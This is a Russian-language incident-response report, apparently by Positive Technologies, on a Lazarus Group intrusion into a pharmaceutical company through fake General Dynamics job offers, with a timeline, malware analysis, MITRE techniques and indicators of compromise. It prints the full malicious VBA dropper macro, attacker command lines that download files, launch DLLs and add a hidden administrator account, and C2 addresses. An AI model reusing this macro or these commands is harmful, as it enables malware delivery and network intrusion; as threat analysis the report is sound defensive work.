Содержание
Введение
В конце сентября 2020 года экспертный центр безопасности Positive Technologies (PT Expert Security Center, PT ESC) привлекли к расследованию инцидента в одной из крупнейших фармацевтических компаний. Начав анализировать тактики и техники (tactics, techniques, and procedures, TTPs) злоумышленников, команда расследований (IR) нашла сходства с атаками группы Lazarus, ранее подробно описанными специалистами по кибербезопасности в отчетах Operation: Dream Job и "Operation (노스 스타) North Star A Job Offer That's Too Good to be True?".
Эта статья описывает ранее неизвестную атаку APT-группы, раскрывает тактики и техники группы Lazarus, позволившие злоумышленникам всего за четыре дня получить частичный контроль над инфраструктурой фармацевтической компании, а также инструменты, использованные злоумышленниками для первичной компрометации, сетевой разведки и закрепления в инфраструктуре компании-жертвы.
В конце статьи PT Expert Security Center приводит список TTPs группы, а также индикаторы компрометации, которые могут использоваться специалистами по кибербезопасности для выявления следов атак группы и поиска угроз в своей инфраструктуре.
1. Хронология событий
В конце сентября 2020 года сотрудник фармацевтической компании получил документ с предложением о работе
GD2020090939393903.doc
(документ создан: 2020:09:22 03:08:00). Через короткий промежуток времени предложение о работе от этой же компании GD20200909GAB31.doc
(документ создан: 2020:09:14 07:50:00) получил его коллега. Открыв документы, отправленные от потенциального работодателя, обе жертвы активируют на своих домашних компьютерах вредоносные макросы (см. раздел «Вредоносный документ»).
В одном из случаев вредоносный документ был получен через мессенджер Telegram. Заметим, что оба документа были получены жертвами в выходные дни.
После запуска вредоносных макросов на двух скомпрометированных компьютерах проводилась разведка (T1016: System Network Configuration Discovery) системными утилитами ipconfig.exe, ping.exe, net.exe и запуски неизвестных PE-файлов:C:\ProgramData\Applications\ZCacher.dat
;C:\ProgramData\Applications\MemoryCompressor.tls-lbn
;C:\ProgramData\Applications\MemoryCompressor.tls
;C:\ProgramData\Applications\MemoryCompressor64.exe
.
Обнаружить тела всех вышеуказанных файлов в ходе расследования инцидента не удалось.
На одном из скомпрометированных компьютеров использовались бэкдор CommsCacher с именем ApplicationCacher-f0182c1a4.rb
(дата компиляции: 2020-09-14T16:21:41Z) и его конфигурационный файл C:\Users\*\AppData\Local\.IdentityService\AccountStore.bak
, зашифрованный алгоритмом VEST, а также lnk-файл автозагрузки C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSSqlite3Svc.lnk
. Примечательно, что бэкдор мониторит RDP сессии на скомпрометированном компьютере, используя WTSEnumerateSessionsW (см. раздел Trojan-Backdoor CommsCacher).
Согласно журналам прокси-сервера, скомпрометированные компьютеры пытались подключиться к адресу forecareer[.]com:443, который на момент атаки не детектировался антивирусными движками как вредоносный. По данным WHOIS-записей, домен был зарегистрирован за несколько дней до начала атаки.
На момент атаки на домене был опубликован контент, копирующий страницу официального сайта компании General Dynamics Mission Systems — одного из крупнейших мировых производителей военной и аэрокосмической техники. Группа Lazarus уже использовала данный бренд в своих атаках. Также домен имел действительный SSL-сертификат.
В начале рабочей недели обе жертвы со скомпрометированных персональных компьютеров подключились к RDG-серверу одного из филиалов организации. Это позволило злоумышленникам получить доступ в корпоративную сеть компании.
В этот же день на RDG-сервере компании впервые появились следы нелегитимной активности, а также доказательства проведения злоумышленниками разведки в сети. Скомпрометированные учетные записи, в частности, использовались для запуска системных утилит systeminfo.exe, ipconfig.exe, netstat.exe, tasklist.exe, qwinsta.exe, query.exe, quser.exe, net.exe, ping.exe
, а также C:\ProgramData\Comms\Cacher.hls-iol
(версия общедоступной утилиты ADFind для запросов в Active Directory).
Позже на RDG-сервере также был установлен бэкдор CommsCacher с именем C:\ProgramData\USOShared\usomsqlite3.lgs.dat
.
Злоумышленниками также был загружен неизвестный PE-файл с именем C:\ProgramData\volitile.dat
и была запущена DLL-библиотека C:\ProgramData\comms\commspkg.bin
(дата компиляции: 2020-08-22T18:45:25Z), которая исполняет файлы, переданные в конфигурации через командную строку, используя CreateProcessW. Библиотека защищена программой VMProtect.
powershell -Command (New-Object Net.WebClient).DownloadFile('http://192.168.129.92:8080/volitile.ico', 'C:\ProgramData\volitile.dat')
cmd.exe /c cmd.exe /c rundll32.exe c:\\programdata\\comms\\commspkg.bin,Serialize +JHzz8nMxMn+wvv+y/7z+MzCwsjz+MzCwsjPwMSN+/7L"
Через два дня после проникновения в корпоративную сеть злоумышленники имели доступ к ряду серверов, в том числе доменному контроллеру, дополнительному RDG-серверу, файловому серверу и Crontab-серверу. На этих серверах злоумышленники также проводили разведку при помощи системных утилит и используя системные службы с названием usomgmt. Это имя использовалось злоумышленниками для именования собственных служб на скомпрометированных узлах:
cmd.exe /c cmd.exe /c C:\ProgramData\Microsoft\gpolicy.dat -f C:\ProgramData\Microsoft\gpolicy.out C:\ProgramData\Microsoft\gpolicy.bin 1q2w3e4r@#$@#$@#$
cmd.exe /c cmd.exe /c C:\ProgramData\Microsoft\gpolicy.dat 312 C:\ProgramData\Microsoft\gpolicy.bat
cmd.exe /c cmd.exe /c net user admin$ abcd1234!@#$ /add
cmd.exe /c cmd.exe /c net localgroup administrators admin$ /add
cmd.exe /c cmd.exe /c net localgroup -?-¦-+-+-+-+-?-?-?-¦-?-+-?-? admin$ /add
cmd.exe /c cmd.exe /c net user admin$ /delete >> C:\ProgramData\Microsoft\gpolicy.out
Получить доступ к файлам C:\ProgramData\Microsoft\gpolicy.dat
, C:\ProgramData\Microsoft\gpolicy.out
, C:\ProgramData\Microsoft\gpolicy.bin
и C:\ProgramData\Microsoft\gpolicy.bat
в процессе расследования инцидента не удалось. Именно манипуляции с созданием, удалением и добавлением пользователя admin$ в группу администраторов позднее спровоцируют подозрение системных администраторов скомпрометированной компании и послужат началом реагирования на инцидент.
Аналогичные действия злоумышленников с учетной записью admin$, были описаны в отчете Greetings from Lazarus.
Осуществляя разведку на доступных компьютерах, злоумышленники в то же время получали новые векторы проникновения в корпоративную сеть компании. Так, два дня спустя после компрометации сетевой инфраструктуры компании еще один ее сотрудник из другого филиала получил предложение о работе. В социальной сети LinkedIn с жертвой связался пользователь с именем Rob Wilson, вскоре после чего ей пришло письмо с предложением о работе в компании General Dynamics UK.
https://mail.yandex.ru/?uid=*********#message/***************,Письмо «***, добавьте меня в свою сеть контактов в LinkedIn!» — Rob Wilson — Яндекс.Почта,29.09.2020 12:54
https://mail.yandex.ru/?uid==*********#message/***************,Письмо «Rob sent you a new message» — Rob Wilson через LinkedIn — Яндекс.Почта,29.09.2020 13:30
Изучив информацию о вакансии и компании через поисковую систему Яндекс, Википедию и легитимный сайт компании General Dynamics UK, сотрудник продолжил переписку с аккаунтом пользователя Rob Wilson, от которого получил ссылки на скачивание вредоносных документов GD20200909GAB31.doc
, PDF20200920KLKA.PDF
и PDF20200920KLKA.ZIP
с подконтрольного злоумышленниками сайта для поиска вакансий clicktocareers[.]com, который на момент атаки не детектировался антивирусными движками как вредоносный.
Примечательно, что жертве не удалось с первого раза открыть присланный PDF-документ, после чего злоумышленники прислали ей ПО для просмотра PDF-файлов InternalPDFViewer.exe.
https://generaldynamics.uk.com/,Home - General Dynamics UK,29.09.2020 13:43,2,https://yandex.ru/search/?lr=16&text=%20General%20Dynamics%20UK%20Ltd%20
https://generaldynamics.uk.com/about/about-us/,About us - General Dynamics UK,29.09.2020 13:44
https://generaldynamics.uk.com/work/,Work with us - General Dynamics UK,29.09.2020 13:45
https://generaldynamics.uk.com/work/careers/,Careers - General Dynamics UK,29.09.2020 13:45
https://generaldynamics.uk.com/work/careers/project-management/,Project management - General Dynamics UK,29.09.2020 13:45
https://generaldynamics.uk.com/work/careers/current-vacancies/,Current vacancies - General Dynamics UK,29.09.2020 13:46
Скомпрометированный пользователь также пересылал вредоносное письмо своему коллеге. Однако адресат не открыл вредоносный документ и не позволил злоумышленникам расширить поверхность атаки.
https://mail.clicktocareers[.]com/public/jobapplications/jdviewer.php?jd=10931 GD20200909GAB31.doc 29.09.2020 16:50:35 https://ru.wikipedia.org/wiki/General_Dynamics,General Dynamics — Википедия,29.09.2020 13:56,1,https://yandex.ru/search/?text=%20General%20Dynamics%20UK%20Ltd%20&lr=16 https://mail.clicktocareers[.]com/public/jobapplications/jdviewer.php?jd=12314 PDF20200920KLKA.ZIP 29.09.2020 17:04:01 https://mail.clicktocareers[.]com/public/jobapplications/jdviewer.php?jd=77234 PDF20200920KLKA.PDF 29.09.2020 17:06:11 https://generaldynamics.uk.com/systems/,See what we do - General Dynamics UK,29.09.2020 14:11 https://mail.yandex.ru/?uid=*********#message/***************,Письмо «Rob sent you a new message» — Rob Wilson через LinkedIn — Яндекс.Почта,29.09.2020 14:21 https://mail.yandex.ru/?uid=*********#message/***************,Письмо «Job Proposal at GDLS» — Rob Wilson — Яндекс.Почта,29.09.2020 16:50 https://mail.yandex.ru/?uid=*********#message/***************,Письмо «Re: Job Proposal at GDLS» — Rob Wilson — Яндекс.Почта,29.09.2020 17:03
Конфиденциальная информация была заменена символами «*».
На скомпрометированном компьютере злоумышленники проводили разведку системными командами query.exe
, quser.exe
, netstat.exe
и установили бэкдор CommsCacher с именем CommsCacher.dat
, который закрепляется через lnk-файл в папке автозагрузки. Также обнаружены факты запуска вредоносной DLL-библиотеки Trojan-Downloader Agamemnon regid.mdb
(дата компиляции: 2020-09-14T16:21:26Z), которая извлекается из вредоносного документа, собирает информацию с зараженного узла и отправляет ее на сервер злоумышленников, а в ответ получает полезную нагрузку (см. раздел Trojan-Downloader Agamemnon). Выполнение команд и сетевая разведка на компьютере проводилась с помощью общедоступной утилиты SMBMAP для сканирования SMB-сервисов.
2. Вредоносный документ
Фишинговый документ GD2020090939393903.doc
содержит текст-приманку в виде предложения о работе. Текст документа:
Senior Business Manager
Job Location: Washington, DC
Employment Type: Full Time
Clearance Level Must Currently Possess: None
Clearance Level Must Be Able to Obtain: None
Telecommuting Options: Some Telecommuting Allowed
Annual Salary: $72k - $120k
Job Description:
General Dynamics Mission Systems (GDMS) engineers a diverse portfolio of high technology solutions, products and services that enable customers to successfully execute missions across all domains of operation.
With a global team of 13,000+ top professionals, we partner with the best in industry to expand the bounds of innovation in the defense and scientific arenas.
Given the nature of our work and who we are, we value trust, honesty, alignment and transparency. We offer highly competitive benefits and pride ourselves in being a great place to work with a shared sense of purpose.
You will also enjoy a flexible work environment where contributions are recognized and rewarded. If who we are and what we do resonates with you, we invite you to join our high performance team!
Responsibilities:
Bachelor's degree in Senior Business Manager or a related specialized area or the equivalent experience is required plus a minimum of 10 years of relevant experience; or Master's degree plus a minimum of 8 years of relevant experience to meet managerial expectations.
The candidate must have proven experience with the capture management and proposal development processes.
Department of Defense TS/SCI security clearance is preferred at time of hire. Candidates must be able to obtain a TS/SCI clearance with polygraph within a reasonable amount of time from date of hire. Applicants selected will be subject to a U.S. Government security investigation and must meet eligibility requirements for access to classified information.
Due to the nature of work performed within our facilities, U.S. citizenship is required.
For foreign Candidates, they have to related in U.S with family.
Qualifications:
At General Dynamics Mission Systems (GDMS), we deliver systems that provide critical intelligence data to our national leadership.
As market leader and technology innovator, we are seeking talented professionals to deliver cutting edge solutions to our customers.
GDMS has an immediate opening for a Senior Manager of Business Development.
The selected candidate will work to identify and acquire new business ventures for GDMS and its customers.
The Senior Manager of Business Development will work among a talented and technically accomplished group of colleagues, and enjoy a flexible work environment where contributions are recognized and rewarded.
REPRESENTATIVE DUTIES AND TASKS:
The selected Senior Manager of Business Development:
Identifies and captures new business opportunities in the international and domestic Signals Intelligence (SIGINT) marketplace, with emphasis on High Frequency (HF) and Very High/Ultra High Frequency (V/UHF) Communications Intelligence (COMINT) Direction Finding (DF) Systems and Satellite Communication & Collection Systems;
Establishes and maintains frequent Intelligence Community (IC) and Defense customer contacts in the international and domestic SIGINT, COMINT/DF and Satellite Communication marketplace;
Collaborates with customers to develop system Concept of Operations (CONOPS), architectures, and requirements for SIGINT, COMINT/DF and Satellite Communication collection systems;
Develops and presents briefing packages of business area capabilities and system offerings to international and domestic customers;
Works closely with business area technical and management team to align business area strategy, capabilities, investments, and offerings with SIGINT, COMINT/DF and Satellite Communication markets;
Performs competitor analyses and develops teaming relationships as needed;
Works closely with Export Compliance organization to obtain all export licenses for business pursuits in the international marketplace.
Required Skills:
Minimum of five (5) years of project management related experience, with 2 years of experience as a Business Development Manager in a "large" or Government organization.
Experience coordinating and overseeing the implementation of security projects.
Experience with MS Project, SharePoint, or other project management tools.
Knowledge of general management and auditing techniques for identifying problems, gathering and analyzing pertinent information, forming conclusions, developing solutions and implementing plans consistent with management goals.
Excellent oral and written communication skills. Interaction and information gathering with coworkers and customers.
Education / Certifications:
Master's degree from an accredited higher education institution and a minimum of 11 years of progressive Business Development experience or equivalent experience.
One industry-recognized business development management certification.
Certifications relating to Government Clearance (a plus)
We are GDMS. The people supporting some of the most complex government, defense, and intelligence projects across the country. We deliver. Bringing the expertise needed to understand and advance critical missions. We transform. Shifting the ways clients invest in, integrate, and innovate technology solutions. We ensure today is safe and tomorrow is smarter. We are there. On the ground, beside our clients, in the lab, and everywhere in between. Offering the technology transformations, strategy, and mission services needed to get the job done. GDMS is an Equal Opportunity/Affirmative Action employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, sexual orientation, gender identity, national origin, disability, or veteran status, or any other protected class.
Некоторые модификации вредоносных документов, полученные в процессе расследования, были защищены паролем JD-20BZ@9918261231C3 — предположительно, для обхода средств защиты. Метаданные документа:
File Size : 1991 kB
File Permissions : rwxrwx---
File Type : DOC
File Type Extension : doc
MIME Type : application/msword
Title :
Subject :
Author : User
Keywords :
Comments :
Template : Normal
Last Modified By : Admin
Revision Number : 2
Software : Microsoft Office Word
Total Edit Time : 2.0 minutes
Create Date : 2020:09:22 03:08:00
Modify Date : 2020:09:22 03:08:00
Pages : 4
Words : 870
Characters : 4960
Security : Password protected
Code Page : Windows Latin 1 (Western European)
Company :
Lines : 41
Paragraphs : 11
Char Count With Spaces : 5819
App Version : 15.0000
Scale Crop : No
Links Up To Date : No
Shared Doc : No
Hyperlinks Changed : No
Title Of Parts :
Heading Pairs : Title, 1
Comp Obj User Type Len : 32
Comp Obj User Type : Microsoft Word 97-2003 Document
Анализ документа показал, что в GD2020090939393903.doc
содержится вредоносный VBA-макрос и закодированная с помощью алгоритмов Base64 и XOR полезная нагрузка:
Attribute VB_Name = "NewMacros"
Private Function Base64Decode(base64 As String) As Variant
Dim xmlDoc As Object
Dim xmlNode As Object
Set xmlDoc = CreateObject("MSXML2.DOMDocument")
Set xmlNode = xmlDoc.createElement("b64")
xmlNode.dataType = "bin.base64"
xmlNode.Text = base64
Base64Decode = xmlNode.nodeTypedValue
End Function
Private Function GetStringData(data As String) As String
Dim decData As Variant
Dim nLen As Long
Dim strPath As String
decData = Base64Decode(data)
nLen = UBound(decData) - LBound(decData) + 1
strPath = ""
For inx = 0 To nLen - 1
strPath = strPath & Chr((decData(inx) Xor 37) + 134 - 256)
Next inx
GetStringData = strPath
End Function
Private Function GetBufferData(data As String) As Variant
Dim decData As Variant
Dim nLen As Long
decData = Base64Decode(data)
nLen = UBound(decData) - LBound(decData) + 1
For inx = 0 To nLen - 1
If ((decData(inx) Xor 214) + 55) > 255 Then
decData(inx) = (decData(inx) Xor 214) + 55 - 256
Else
decData(inx) = (decData(inx) Xor 214) + 55
End If
Next inx
GetBufferData = decData
End Function
Sub AutoOpen()
'
' AutoOpen Macro
'
'
Dim strPath As String
Dim strArgment As String
Dim DataBuffer As Variant
Dim PBuffer() As Byte
Dim strObject As String
If ActiveDocument.Shapes.Count < 1 Then Exit Sub
strPath = GetStringData(ActiveDocument.Shapes("Text Box 3").TextFrame.TextRange.Text)
strArgment = GetStringData(ActiveDocument.Shapes("Text Box 4").TextFrame.TextRange.Text)
DataBuffer = GetBufferData(ActiveDocument.Shapes("Text Box 5").TextFrame.TextRange.Text)
nLen = UBound(DataBuffer) - LBound(DataBuffer) + 1
strObject = GetStringData(ActiveDocument.Shapes("Text Box 6").TextFrame.TextRange.Text)
ReDim PBuffer(nLen)
For inx = 0 To nLen - 1
PBuffer(inx) = DataBuffer(inx)
Next inx
Open strPath For Binary Lock Write As #1
Put #1, 1, PBuffer
Close #1
ActiveDocument.Shapes("Text Box 2").Select
Selection.ShapeRange.TextFrame.TextRange.Select
Selection.Collapse
Selection.WholeStory
Selection.Copy
Selection.ShapeRange.Select
Selection.MoveUp Unit:=wdScreen, Count:=1
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.PasteAndFormat (wdFormatOriginalFormatting)
ActiveDocument.Save
Set objShell = CreateObject(strObject)
objShell.Run strArgment, 0, False
Set objShell = Nothing
End Sub
В дальнейшем, во время поиска угроз (threat hunting) были обнаружены похожие документы:
Name | Hash |
---|---|
GDLS202009069871.pdf |
|
GDLS_2020090392828334.doc |
|
GDLS202009069871.doc |
|
Примеры документов-приманок:
3. Trojan-Downloader Agamemnon
В случае успешного исполнения вредоносный макрос извлекает расшифрованные данные в файл 963e8cfaa40226ba2e5d516464572446
в директорию C:\ProgramData\regid.mdb
и запускает библиотеку со следующими параметрами:
rundll32.exe C:\ProgramData\regid.mdb,sqlite3_create_functionex X4BJOPK3O6nxwkVuK3HqqTt4 LRTB /QV3AcjAeAb/x3xH+0ZhyOBJfZXilGFS69N5E/rSe2z47XDp8uh37v2vZ6/zrkkg9KFobffsQyr5q0Urx6pxtP31eXHG8ER2xfd/t8/2SjjQeXOF8oR6guvDbIPownS85T1uOfD4YX7tv2T/4D5iMOnxaj3pfFW607td+9P6bGTTJVah2OBeptWnXOfeJl4o0elCtd10QLLZc1jz3PJEjNiNUAndiENOwM9WD9COUgDUgUiN1MxSSuXLYIvgCmwU7VVnEe5QbpbvV27X71ZrmPNZTmXMZFqiyuNLY8ViVFzLHUfZwJhB3tffRZ/4XngQ+FF1HfJcSVrJm0Ob95p9BPCFREHLwH8G9Yd5B/uGTYjxyW1V4tRgUuHTa5P6Un8s9W1+qf3oZ+7y73Dv8y52YMhheq3GbHKqw+tEq8DqfHTMNUqxxfB+ds43TLfL9kR4zzlrxeyEbcLuw3tD6wJkfOV9brniuGp+5j9nP+b+ZnDp8Wt96TxQ+um7UPviOlck3qVWIevga2bcp1kn2KZbKO4pTXXM9Fxy2/NbM9iyVAzVjVHJ10hWzs2PR4/TzmjA6sFazdkMYsrTC2OL40pclO4VZhHY0GRW71dpF+9Wa5jvmU1l3ORQYs6jW2PM4k8c1l1CWcDYRp7Nn0Tfxh5CEMnRSh30nEna9dt92/Iad0TNxXeB/kB5xvXHT4f7hmEI/IlQVe/UexLhk30T/5J/bOotYWng6HGu9+93b/Cud2DJYUTt+axz6sLrQ2vAqkP0wDVGcfgwSXbPN073/jZP+M+5csX8xG6C7YNqw+vCajzl/WG54HhmPuG/cL/yfmhw2HFU/dT8U7rRe2L71zpT5NclX+HZ YFRm7+dYZ9imQGjcKV313vRd8svzW/Pfsl8Mxc1QCd1IV87Xz1CPxg5TAOqBWg3XzFdKw==
Agamemnon является легитимной DLL-библиотекой SQLite с вредоносной экспортируемой функцией sqlite3_create_functionex. Эта модификация, а также метод закрепления на скомпрометированном компьютере в папке автозагрузки были описаны в отчете Operation (노스 스타) North Star A Job Offer That's Too Good to be True.
При запуске извлеченный файл regid.mdb
собирает следующую информацию о системе:
- имя компьютера;
- информацию о сетевых адаптерах;
- имя пользователя;
- список запущенных процессов.
Далее ВПО сжимает полученные данные алгоритмом LZ с максимальной степенью сжатия, после чего шифрует их собственным алгоритмом и кодирует данные в Base64. Также вредоносное ПО генерирует уникальный идентификатор зараженного узла. Собранная информация отправляется на один из управляющих серверов злоумышленников вместе с идентификатором компьютера. Их полный список передается в зашифрованном виде через командную строку. Файл GD2020090939393903.doc
передает следующий список управляющих серверов (C2):
https://propro[.]jp/wp-content/documents/docsmgmt.php
http://www.ctevt.org[.]np/ctevt/public/frontend/review.php
http://gbflatinamerica[.]com/file/filelist.php
http://www.apars-surgery[.]org/bbs/bbs_files/board_blog/write.php
http://goldllama4.sakura.ne[.]jp/waterdo/wp/wp-content/plugins/view.php
https://bootcamp-coders.cnm[.]edu/~dmcdonald21/emoji-review/storage/app/humor.php
После отправки данных на управляющий сервер ВПО получает от него ответ. В нем содержится основная полезная нагрузка, также зашифрованная собственным алгоритмом. Она либо исполняется в памяти процесса, либо выгружается на жесткий диск по пути: %localappdata%\~DMF[0-9]{4}.tmp
(путь приведен в формате RegExp) и запускается при помощи rundll32.exe
. Вариант исполнения полезной нагрузки определяется ответом управляющего сервера. Стоит отметить, что загрузчик успешно детектируется в публичной песочнице ANY.RUN.
4. Trojan-Backdoor CommsCacher
Бэкдор CommsCacher также является легитимной DLL-библиотекой SQLite с вредоносной экспортируемой функцией sqlite3_create_functionex. Примеры lnk-файлов с параметрами автозапуска бэкдора CommsCacher представлены ниже.
rundll32.exe CommsCacher.dat,sqlite3_create_functionex dbmanagementservice19253
rundll32.exe ApplicationCacher-f0182c1a4.rbs,sqlite3_create_functionex sqlite3msdbmgmtsvc-f810a
Бэкдор CommsCacher загружает и выгружает конфигурационные данные на жесткий диск в файл: %localappdata%\.IdentityService\AccountStore.bak
. Конфигурационный файл зашифрован алгоритмом шифрования VEST и содержит список управляющих серверов. Пример конфигурационных данных:
https://akramportal[.]org/delv/public/voice/voice.php
https://vega.mh-tec[.]jp/.well-known/gallery/siteview.php
https://www.hospitality-partners[.]co.jp/works/performance/consumer.php
https://inovecommerce[.]com.br/public/pdf/view.php
Подключившись к одному из управляющих серверов, семпл получает в ответ от C2 шеллкод и конфигурационные данные. Полученные данные расшифровываются, и запускается шеллкод с переданными параметрами. После чего ВПО CommsCacher открывает именованный канал \\.\pipe\fb4d1181bb09b484d058768598b, который используется для получения данных от шеллкода и последующей передачи на управляющий сервер.
Обнаруженные семплы C:\ProgramData\Applications\ApplicationCacher-f0182c1a4.rbs
(дата компиляции: 2020-09-24T05:12:24Z) и C:\ProgramData\USOShared\usomsqlite3.lgs.dat
(дата компиляции: 2020-09-29T03:34:06Z) являются аналогичным ВПО CommsCacher. Файлы содержат 64 мегабайта случайных повторяющихся символов. Они могли использоваться злоумышленниками для обхода антивирусных средств защиты, которые могут игнорировать файлы больших размеров.
Функциональность бэкдора и его серверная часть были подробно описаны в статье Operation North Star: Behind The Scenes.
5. Журналы жертв
В процессе расследования инцидента был выявлен ряд управляющих серверов злоумышленников, а изучив их удалось получить лог файлы с IP-адресами жертв, также скомпрометированных этой группой. Формат журнала: [JD = ID][Date] [Victim IP] [User-Agent].
Все идентифицированные жертвы были уведомлены об инцидентах. (Конфиденциальная информация была заменена символами «*».)
Подконтрольные злоумышленникам серверы содержали файлы с наименованием sclient+[md5 victim]+.tmp или pagefile+[md5 victim]+.dat. В этих файлах находилась информация со скомпрометированных компьютеров.
6. Атрибуция
Выявленные индикаторы компрометации (indicator of compromise, или IoC) относятся к хакерской группе Lazarus Group, также известной под именем Hidden Cobra. Группа активна по крайней мере с 2009 года. Предполагается, что Lazarus относится к классу APT-групп, спонсируемых правительством, и происходит из Северной Кореи. Группа регулярно проводит свои атаки, целью которых является кибершпионаж.
Основным исходным вектором атак является целевой фишинг через сторонние ресурсы (Phishing: Spearphishing via Service). В данной кампании злоумышленники под видом HR-службы компании General Dynamics Mission Systems рассылали через социальную сеть LinkedIn, мессенджеры Telegram и WhatsApp и корпоративную почту документы с вредоносными макросами, содержащими в себе текст-заглушку с предложением о работе.
Ниже дан пример переписки одной из жертв со злоумышленником в мессенджере Telegram. В данном случае злоумышленник предлагал пройти тестовое задание на подконтрольном ему сервере.
Для атаки на организацию злоумышленники создали фишинговый сайт компании General Dynamics Mission Systems. В качестве управляющих серверов они использовали ресурсы предположительно скомпрометированных организаций, находящихся в Бразилии, Японии, Франции, США и Южной Корее.
Для группы характерно применение уникального вредоносного программного обеспечения для удаленного выполнения команд:
- Обнаруженный бэкдор CommsCacher указывает на связь с вредоносной кампанией Dream Job и идентифицирует группу атакующих как Lazarus Group.
- Документ
GD2020090939393903.doc
, полученный в процессе расследования инцидента, содержит в себе вредоносный макрос, зашифрованную полезную нагрузку и параметры запуска, которые хранятся в фигурахText Box
, что совпадает с описанием вредоносных документов, которые были описаны в отчете компании McAfee.
Также о вредоносной кампании сообщали исследователи из IssueMakersLab:
7. Выводы
Для выявления всех скомпрометированных узлов и получения детальной информации об инциденте вся инфраструктура компании была просканирована на наличие индикаторов компрометации, сетевых и файловых сигнатур ВПО. Также были проанализированы все возможные хостовые артефакты. Наиболее полезными артефактами для восстановления хронологии инцидента послужили USN Journal, EVTX Events, Jump Lists и таблица MFT.
В данной статье описаны TTPs группы Lazarus, позволившие им за четыре дня получить частичный контроль над инфраструктурой скомпрометированной компании, это показывает высокую степень подготовленности злоумышленников и индивидуальный подход к компрометации каждого узла инфраструктуры. В процессе атаки злоумышленники использовали как общедоступные, так и собственные инструменты.
По данным расследования, злоумышленники не получили доступ к конфиденциальной информации. В результате оперативных действий специалистов PT ESC и администраторов фармацевтической компании атакующие были лишены доступа к контролируемой инфраструктуре.
Автор: Григорян Александр, Positive Technologies
Автор благодарит за помощь в подготовке статьи команды incident response и threat intelligence PT Expert Security Center.
8. Похожая вредоносная кампания
После расследования инцидента мы продолжили отслеживать группу Lazarus и выявили новую атаку, которая не имеет прямой связи с рассматриваемым случаем, но затрагивает аналогичный географический сегмент.
В ходе этой атаки злоумышленники в ноябре 2020 года использовали вредоносный документ GDLS47129481.docx 994c02f8c721254a959ed9bc823ab94b
с CVE-2017-0199. Атака предположительно была нацелена на компанию из России. Об атаке также сообщали в Twitter-аккаунте Anonymous Security Agency.
Документ содержал следующую заглушку:
Управляющий сервер:
https://www.forecareer[.]com/gdcareer/officetemplate-20nab.asp?iqxml=480012756ad26f72e412db0ae7aa183e
Злоумышленники задействовали домен из предыдущей кампании, визуальная составляющая фишингового сайта при этом была изменена.
9. Вердикты наших продуктов
PT Sandbox
-
Backdoor.Win32.Regid.a
-
Backdoor.Win64.CommsCacher.a
-
Trojan.Win32.Generic.a
PT Network Attack Discovery
-
LOADER [PTsecurity] Agamemnon
sid: 10006234;10006237;10006238;
10. MITRE TTPs
ID | Name | Description |
---|---|---|
Initial Access |
||
T1566.003 |
Phishing: Spearphishing via Service |
Группа Lazarus использует вредоносные объявления о работе, отправляемые через LinkedIn |
Execution |
||
T1047 |
Windows Management Instrumentation |
Группа Lazarus использует wmic.exe для запуска команд |
T1106 |
Native API |
Группа Lazarus использует CreateProcessW для запуска ВПО и WTSEnumerateSessionsW для мониторинга RDP сессий |
T1059.003 |
Command and Scripting Interpreter: Windows Command Shell |
Группа Lazarus использует командную строку Windows для запуска команд |
Persistence |
||
T1543.003 |
Create or Modify System Process: Windows Service |
Для закрепления на узле группа Lazarus создает сервисы, используя утилиту sc.exe |
T1136 |
Create Account |
Группа Lazarus создает учетные записи локальных администраторов |
T1547.009 |
Boot or Logon Autostart Execution: Shortcut Modification |
Для закрепления на узле группа Lazarus размещает ярлык в папке автозагрузки |
Defense Evasion |
||
T1027 |
Obfuscated Files or Information |
Файл конфигурации AccountStore.bak зашифрован алгоритмом VEST |
T1564.001 |
Hide Artifacts: Hidden Files and Directories |
Группа Lazarus хранит свое ВПО в скрытых папках по пути C:\ProgramData |
T1070.004 |
Indicator Removal on Host: File Deletion |
Группа Lazarus удаляет образцы ВПО с файловой системы |
T1218.011 |
Signed Binary Proxy Execution: Rundll32 |
Вредоносная DLL запускается через rundll32.exe с указанием экспортируемой функции и с параметрами запуска |
Discovery |
||
T1087.001 |
Account Discovery: Local Account |
Группа Lazarus собирает информацию о пользователях посредством команд net user и net group |
T1069.002 |
Permission Groups Discovery: Domain Groups |
Группа Lazarus использует утилиту adfind для получения информации из Active Directory |
T1016 |
System Network Configuration Discovery |
Группа Lazarus собирает информацию о сетевых параметрах зараженного компьютера |
T1135 |
Network Share Discovery |
Группа Lazarus использует утилиту SMBMap для обнаружения общих папок внутри сети |
T1012 |
Query Registry |
Группа Lazarus использует утилиту reg.exe для получения информации из реестра |
T1033 |
System Owner/User Discovery |
Группа Lazarus собирает информацию о пользователях скомпрометированного компьютера |
T1057 |
Process Discovery |
Группа Lazarus использует утилиту tasklist.exe для получения информации о процессах |
T1082 |
System Information Discovery |
Группа Lazarus использует утилиту systeminfo.exe для получения информации о системе |
Lateral Movement |
||
T1021.002 |
Remote Services: SMB/Windows Admin Shares |
Группа Lazarus использует скомпрометированные легитимные привилегированные аккаунты для продвижения по сети |
Command And Control |
||
T1132.002 |
Data Encoding: Non-Standard Encoding |
Группа Lazarus использует собственный алгоритм шифрования данных для коммуникации с C2 |
T1071.001 |
Application Layer Protocol: Web Protocols |
ВПО группы Lazarus использует стандартный протокол HTTP для соединения с С2 |
11. IOCs
Имя файла | MD5 | SHA-1 | SHA-256 |
---|---|---|---|
AccountStore.bak | 665ce00318552c6ddc22e2f5e59cd516 | 71e5bb0e7f00bb11518e8d7f619f2b6c9fa09eaf | 7e454b22987d8901ab7fc2983d335da6ed4ac048298e3bcb7e3a123352bfc1da |
AccountStore.bak | 107953faf48823913b19ab7cf311a2c8 | 73a2aed35aa5fc8621828e11c76d58144ea7f6bb | ceec993673d95fd0af326f1ef7268ebf375361118efe2ae561c0e59b36387c1b |
AccountStore.bak | bc1e06ba5f472aaf30d8027dc8562307 | 04bc9e74c65b6df6f6c4ba90db3d85ca9b2dda4c | 79076febac7abad26ae1c570c4de41fb51c6a5a82b97ec5299005d8e9f66e5a9 |
AccountStore.bak | 66037fc3c489d099107e2d3cddd33569 | a7e34ed64337893752eadfbfae9a516c8b482329 | c1d6a5940045b7ff0063b85d89750979d8501d52815b0134fb556f2c12210369 |
ApplicationCacher-f0182c1a4.rbs | 5f77737c1f4bd8b1868dc50efce1bbf5 | c85c825f1e2ef66d83dc1cf011f8b2e6aee08fa8 | 93d78712eb3f9e81286a9ebcffe6296ef05eb20dd53a76c16f6fb5384b0baf26 |
